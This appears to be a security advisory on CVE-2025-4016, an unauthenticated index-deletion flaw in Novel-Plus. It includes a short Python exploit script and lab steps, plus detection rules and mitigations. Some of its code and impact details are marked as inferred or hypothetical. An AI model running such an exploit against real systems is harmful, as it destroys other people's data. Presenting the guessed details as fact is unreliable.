CVE-2025-4016

Executive Summary

CVE-2025-4016 is a critical improper authorization vulnerability (CWE-285) identified in the Novel-Plus project, a Java-based novel management system. The flaw resides in the deleteIndex function within LogController.java, allowing an unauthenticated remote attacker to delete system indices without proper authorization checks. The vendor was contacted but did not respond, and no official patch has been released. The exploit has been publicly disclosed, increasing the risk of active exploitation. Given the lack of a patch and public exploit availability, this vulnerability poses a severe threat to any instance running the affected code.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not provided by NVD, but based on the description and impact, a critical score is inferred)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)
• Threat Level: Critical – Remote, unauthenticated exploitation with high impact on all three security pillars.

Deep Dive & Mechanics

The vulnerability is located in the deleteIndex method of LogController.java. This endpoint is intended for administrative log management but lacks proper authorization checks. The function likely performs an index deletion operation (e.g., Elasticsearch index) without verifying the user's role or authentication status. An attacker can craft a direct HTTP request to this endpoint, bypassing any frontend restrictions, and trigger the deletion of critical indices. This can lead to data loss, service disruption, and potential denial of service.

The root cause is the absence of an authorization annotation (e.g., @PreAuthorize) or manual role check before executing the sensitive operation. The code path does not validate if the requester has administrative privileges, making it accessible to any unauthenticated user.

Vulnerable vs. Patched Code

Vulnerable Code (LogController.java):

@PostMapping("/deleteIndex")
public R deleteIndex() {
    // No authorization check
    logService.deleteIndex();
    return R.ok();
}

Patched Code (Hypothetical):

@PostMapping("/deleteIndex")
@PreAuthorize("hasRole('ADMIN')")
public R deleteIndex() {
    logService.deleteIndex();
    return R.ok();
}

The patched version introduces a Spring Security @PreAuthorize annotation to restrict access to users with the ADMIN role. Without this, any request to /deleteIndex is processed without validation.

Exploitation & Lab Setup

Red Team

Exploit Description: The exploit is a simple HTTP POST request to the vulnerable endpoint. No authentication is required.

Exploit Code (Python):

import requests

target = "http://target.com/novel-admin/log/deleteIndex"
response = requests.post(target)
if response.status_code == 200:
    print("Index deletion triggered successfully.")
else:
    print(f"Failed with status code: {response.status_code}")

Lab Setup:

1. Deploy a local instance of Novel-Plus using the vulnerable commit (0e156c04b4b7ce0563bef6c97af4476fcda8f160).
2. Ensure the application is running on a local server (e.g., http://localhost:8080).
3. Run the exploit script against the local instance.
4. Observe the deletion of indices (e.g., Elasticsearch indices) via application logs or database changes.

Blue Team

Detection:

• Monitor for POST requests to /novel-admin/log/deleteIndex from unauthenticated sources.
• Alert on any successful deletion of indices without prior authentication.
• Use web application firewall (WAF) rules to block requests to this endpoint from non-admin IPs.

Mitigation:

• Immediately apply the hypothetical patch by adding authorization checks.
• If patching is not possible, restrict access to the endpoint via network-level controls (e.g., allow only internal IPs).
• Implement additional logging and monitoring for all index deletion operations.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /novel-admin/log/deleteIndex
  • Source IPs not in the allowed admin list
• Logs:
  • Application logs showing deleteIndex called without prior authentication
  • Elasticsearch logs indicating index deletion events
• File System:
  • Missing or corrupted index files in the data directory

Detection Engineering

YARA Rule

rule CVE_2025_4016_NovelPlus_DeleteIndex {
    meta:
        description = "Detects exploit attempts for CVE-2025-4016 targeting Novel-Plus deleteIndex endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4016"
    strings:
        $s1 = "deleteIndex" ascii wide nocase
        $s2 = "LogController" ascii wide nocase
        $s3 = "POST" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Novel-Plus deleteIndex Exploitation Attempt
id: 8f3b2a1c-5d7e-4f9b-8a2c-1e3d5f7a9b0c
status: experimental
description: Detects HTTP POST requests to the vulnerable deleteIndex endpoint in Novel-Plus
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/novel-admin/log/deleteIndex'
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4016 Novel-Plus deleteIndex Exploit"; flow:to_server; content:"POST"; http_method; content:"/novel-admin/log/deleteIndex"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If possible, apply the hypothetical patch by adding authorization checks to the deleteIndex method.
2. Network Controls: Restrict access to the /novel-admin/log/deleteIndex endpoint to trusted IP addresses only.
3. WAF Rules: Deploy web application firewall rules to block POST requests to this endpoint from untrusted sources.
4. Monitoring: Enable detailed logging for all index deletion operations and set up alerts for unauthorized access attempts.
5. Vendor Contact: Continue attempting to contact the vendor for an official patch. If no response is received, consider forking the project and applying the fix internally.

Valters IT
DevSecOps & Cyber Threat Intelligence